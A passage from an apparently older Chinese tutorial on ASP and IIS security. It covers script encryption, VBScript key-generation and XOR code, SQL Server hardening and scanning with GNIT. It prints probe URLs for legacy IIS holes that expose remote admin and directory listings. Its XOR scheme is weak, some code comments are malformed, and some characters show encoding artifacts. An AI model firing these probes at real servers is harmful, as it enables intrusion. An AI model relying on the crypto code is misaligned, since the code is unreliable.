2,"腳本加密"即ASP腳本仍直接按源代碼方式進(jìn)行開發(fā),但在發(fā)布到運(yùn)行環(huán)境之前將腳本進(jìn)行加密處理,只要把加密后的密文腳本發(fā)布出去。即在ASP.DLL讀取腳本這個(gè)環(huán)節(jié)加入密文還原的處理。實(shí)現(xiàn)這種思路的方法有兩種:一是自行開發(fā)一個(gè)ISAPI的IIS過濾(filter)塊,在ASP.DLL之前勾連(hook)對(duì)ASP腳本文件的讀取,以便把文件系統(tǒng)讀出的密文還原成ASP.DLL可以解釋的明文; 方法二是直接由ASP.DLL提供對(duì)ASP腳本加密處理的支持。微軟在新版本的Vbscript.dll jscript.dll中提供這種成為MS script encode技術(shù)的支持。這樣,無論是客戶端的Vbscript jscript(包括WSH腳本等),還是服務(wù)器端的Vbscript jscript (即ASP腳本)都可以支持加密處理。 MS script encode 技術(shù)具體的實(shí)現(xiàn)思路包括以下兩個(gè)方面:一是加密過程,通過提供一個(gè)實(shí)用程序?qū)Π珹SP腳本源代碼的文本文件進(jìn)行掃描,找出其標(biāo)記為<script language = "vbscript.encode">或<script language = "Jscript.encode">;二是還原過程,IE或ASP.DLL等執(zhí)行腳本時(shí)是統(tǒng)一通過Vbscript.dll jscript.dll來解釋執(zhí)行的,所以它們都能同時(shí)地、透明地支持明文和密文的腳本。 總之,如果采用第一種思路,要么就自行在開發(fā)過程中遵照進(jìn)行,要么可以考慮選擇自動(dòng)轉(zhuǎn)換成visual basic 編譯代碼的通用的、實(shí)用工具;采取第二種思路的化,要么就自行開發(fā)IIS ISAPI過濾模塊,要么可以考慮直接采用MS script encode軟件。 下面來看看一種ASP可以使用的簡單字符加密算法,而不是那些受限制的加密算法。其實(shí),這里介紹的加密算法對(duì)于一般的運(yùn)用來說已經(jīng)足夠解密人麻煩一陣子的了。它的加密基礎(chǔ)是最簡單的Vernum密碼方法,它的基本原理是,需要有一個(gè)需要加密的明文和一個(gè)隨機(jī)生成的解密鑰匙文件。然后使用這兩個(gè)文件組合起來生成密文。 (明文) 組合 (密鑰) = 加密后的密文 所以這里介紹的是生成密鑰的代碼。我們假設(shè)我們生成的密鑰為512位長的密鑰,它已經(jīng)足夠來加密一個(gè)文本字符了。代碼如下: KeyGeN.asp文件 <% ****************************** KeyGeN.asp ****************************** Const g_KeyLocation = "C:\key.txt" Const g_KeyLen = 512 On Error Resume Next Call WriteKeyToFile(KeyGeN(g_KeyLen),g_KeyLocation) if Err <> 0 Then Response.Write "ERROR GENERATING KEY." & "<P>" Response.Write Err.Number & "<BR>" Response.Write Err.Description & "<BR>" Else Response.Write "KEY SUCCESSFULLY GENERATED." End If Sub WriteKeyToFile(MyKeyString,strFileName) Dim keyFile, fso set fso = Server.CreateObject("scripting.FileSystemObject") set keyFile = fso.CreateTextFile(strFileName, true) keyFile.WriteLine(MyKeyString) keyFile.Close End Sub Function KeyGeN(iKeyLength) Dim k, iCount, strMyKey lowerbound = 35 upperbound = 96 Randomize Initialize random-number generator. for i = 1 to iKeyLength s = 255 k = Int(((upperbound - lowerbound) + 1) * Rnd + lowerbound) strMyKey = strMyKey & Chr(k) & "" next KeyGeN = strMyKey End Function %> 在IIS下運(yùn)行上面的KeyGeN.asp頁面。你只需要如此做一次,他將把密鑰寫入文件c:\key.txt中 (如果你愿意的話,你也可以把這個(gè)文件放到另外一個(gè)更加安全的地方),然后你可以打開這個(gè)key.txt文件,它將包含512個(gè)ASCII碼在35到96之間的字符。并且由于是隨機(jī)生成的,所以每個(gè)人的私人密鑰文件key.txt將是不一樣的,下面是一個(gè)例子密鑰文件: IY/;$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E$.DLG=I+@5%*+OP:F_=;NSY`-^S.`AA=BJ3M0.WF#T5LGK (=/<:+C2K/^7AI$;PUOME2+T8ND?W$C(J\,;631M-LD5F%%1TF_&K2A-D-54[2P,#*JU%6`0RF3CMF0(#T07UFZ=>#,+.AW_/+) DIB;2DTIA57TT&-]O/*FM>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*\@)X9F`_`%QA3Z95.?_T#1,$2#FWW5PBH^*<))A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U$:3XO^Q).KG&0N0);[LJ<OZ6IN?7N4 <GTL?(M4S8+3JMK5)HC%^1^+K;\$WBXPA?F&5^E\D$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KURD@3W0^D)<OG40?(VJ4EWL5A5M<$A);CQ36R9I]*U#Q%1<Y\&SA%#1<V 下面再仔細(xì)分析一下上面的程序,我們發(fā)現(xiàn)其中的lowerbound和upperbound的數(shù)值 其實(shí)就是你想使用來加密的ASCII字符范圍。 下面的代碼將介紹如何使用這個(gè)密鑰來加密和解密一個(gè)字符串 Crypt.asp文件 <% Dim g_Key Const g_CryptThis = "Now is the time for all good men to come to the aid of their country." Const g_KeyLocation = "c:\key.txt" g_Key = mid(ReadKeyFromFile(g_KeyLocation),1,Len(g_CryptThis)) Response.Write "<p>ORIGINAL STRING: " & g_CryptThis & "<p>" Response.Write "<p>KEY VALUE: " & g_Key & "<p>" Response.Write "<p>ENCRYPTED CYPHERTEXT: " & EnCrypt(g_CryptThis) & "<p>" Response.Write "<p>DECRYPTED CYPHERTEXT: " & DeCrypt(EnCrypt(g_CryptThis)) & "<p>" Function EnCrypt(strCryptThis) Dim strChar, iKeyChar, iStringChar, i for i = 1 to Len(strCryptThis) iKeyChar = Asc(mid(g_Key,i,1)) iStringChar = Asc(mid(strCryptThis,i,1)) *** uncomment below to encrypt with addition, iCryptChar = iStringChar + iKeyChar iCryptChar = iKeyChar Xor iStringChar strEncrypted = strEncrypted & Chr(iCryptChar) next EnCrypt = strEncrypted End Function Function DeCrypt(strEncrypted) Dim strChar, iKeyChar, iStringChar, i for i = 1 to Len(strEncrypted) iKeyChar = (Asc(mid(g_Key,i,1))) iStringChar = Asc(mid(strEncrypted,i,1)) *** uncomment below to decrypt with subtraction iDeCryptChar = iStringChar - iKeyChar iDeCryptChar = iKeyChar Xor iStringChar strDecrypted = strDecrypted & Chr(iDeCryptChar) next DeCrypt = strDecrypted End Function Function ReadKeyFromFile(strFileName) Dim keyFile, fso, f set fso = Server.CreateObject("Scripting.FileSystemObject") set f = fso.GetFile(strFileName) set ts = f.OpenAsTextStream(1, -2) Do While not ts.AtEndOfStream keyFile = keyFile & ts.ReadLine Loop ReadKeyFromFile = keyFile End Function %> 在Crypt.asp中我們首先從密鑰文件中得到密鑰值,然后從這段密鑰中截取和我們需要加密的明文同樣長度的密鑰。然后使用一個(gè)簡單的異或操作將明文和密鑰進(jìn)行運(yùn)算,那么得到的結(jié)果就是加密后的密文了。過程很簡單的。由于是使用了異或操作,所以解密將非常簡單,只要使用同樣的密鑰對(duì)密文再次進(jìn)行異或操作就能夠解密了。在上面介紹的基礎(chǔ)上,你可以少加改動(dòng),就可以使用同樣的方法加密一個(gè)文件。唯一需要注意的是,對(duì)于一個(gè)二進(jìn)制文件,你需要做一些完整性檢查以保證轉(zhuǎn)換回來的字符不要越界。 現(xiàn)在你需要做的就是把密鑰保存在服務(wù)器上的一個(gè)安全的地方(不能夠被外部訪問) 15 SQL SERVER的安全性 目前用ASP編寫的WEB應(yīng)用中,后臺(tái)數(shù)據(jù)庫大部分SQL SERVER。SQL SERVER相對(duì)來說比較安全。但是也要小心地配置SQL Server。 1 安裝遠(yuǎn)程數(shù)據(jù)庫管理有風(fēng)險(xiǎn) SQL Server支持從遠(yuǎn)程進(jìn)行數(shù)據(jù)庫的維護(hù)。在安裝時(shí)你可以選擇不安裝,安裝完成以后,你還可以通過"SQL Server Network Utility"來刪除遠(yuǎn)程管理。如果你要使用遠(yuǎn)程管理,請(qǐng)使用TCP/IP,并將缺省的端口1433改變?yōu)槠渌臄?shù)值。使用遠(yuǎn)程對(duì)你可能比較方便,便是請(qǐng)注意一個(gè)hacker只要知道你的SQL server密碼,就可以進(jìn)入你的數(shù)據(jù)庫。 2 改變sa的密碼 缺省安裝時(shí),SQL SERVER的sa賬號(hào)的密碼為空,建議你在Enterprise SERVER中,改變sa的密碼。 3 數(shù)據(jù)庫登錄賬號(hào)不要寫入ASP頁面中。 16 使用最新的掃描器掃描ASP漏洞 目前可以掃描IIS漏洞的掃描器有很多,比較有名的有ISS,CIS和gnit等。下面我們以GNIT為例子。 GNIT是個(gè)功能很強(qiáng)的漏洞掃描器,能掃描NT的用戶名和相關(guān)信息列表,掃描IIS的漏洞。 在WINNT的DOS模式下打下: gnit <對(duì)方IP> 比如:gnit 172.1.1.1 GNIT開始掃描端口,從上圖可知目標(biāo)主機(jī)提供了HTTP,F(xiàn)TP,SMTP等服務(wù),掃描完后。會(huì)在GNIT目錄下生成一個(gè)HTML文件,其文件名是目標(biāo)主機(jī)的IP。打開這個(gè)HTML文件,會(huì)看到對(duì)方主機(jī)的一些信息和漏洞。這些信息和漏洞包括:用戶名和組的相關(guān)詳細(xì)信息,開放的服務(wù)和WEB掃描的漏洞等。我們比較關(guān)心的是WEB掃描的漏洞信息: 下圖是GNIT的WEB掃描一些信息,其中加粗部分是漏洞,當(dāng)然有些漏洞并不準(zhǔn)確,但不妨試試。(有必要說明下,以下我是在一臺(tái)NT4。01,IIS4。0,Option PACK6.0,并且缺省安裝) 要測(cè)試這些漏洞很簡單。比如:可在URL輸入: http://someurl/iisadmpwd/aexp3.htr ―――可遠(yuǎn)程管理IIS。 http://someurl/scripts/iisadmin/bdir.htr ――――目標(biāo)主機(jī)的硬盤全部目錄都一覽無余,并且有創(chuàng)建新目錄的功能(不過我在測(cè)試中,并不能創(chuàng)建遠(yuǎn)程目錄,但是能使目標(biāo)主機(jī)的WEB當(dāng)機(jī)) http://someurl/scripts/tools/getdrvrs.exe ----可在遠(yuǎn)程主機(jī)上創(chuàng)建ODBC數(shù)據(jù)庫,不管數(shù)據(jù)庫路徑和數(shù)據(jù)庫是否存在。 此外還有其它的漏洞,請(qǐng)網(wǎng)友自己測(cè)試。其解決方法請(qǐng)看上面的漏洞分析。如果用CIS掃描器,還有比較詳細(xì)的漏洞分析和解決方法。請(qǐng)讀者自己分析。 七、總結(jié) 目前WEB數(shù)據(jù)庫訪問的多種技術(shù)中,比如CGI(通用網(wǎng)關(guān)接口)、JDBC、PHP、ASP,ASP以其開發(fā)周期短,存取方式數(shù)據(jù)庫簡單,運(yùn)行速度快而成為眾多網(wǎng)站程序員的首選開發(fā)技術(shù)。但是其網(wǎng)絡(luò)安全性也是不容忽視的。做為一個(gè)ASP開發(fā)者,你必須關(guān)注NT和IIS的安全漏洞,從上面的討論我們可以看到ASP的很多漏洞都是由IIS所引起的。同時(shí)ASP程序員在開發(fā)自己的網(wǎng)站時(shí),要注意來自ASP程序設(shè)計(jì)不當(dāng)所引發(fā)的安全問題。
該文章在 2011/4/24 0:33:39 編輯過 |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |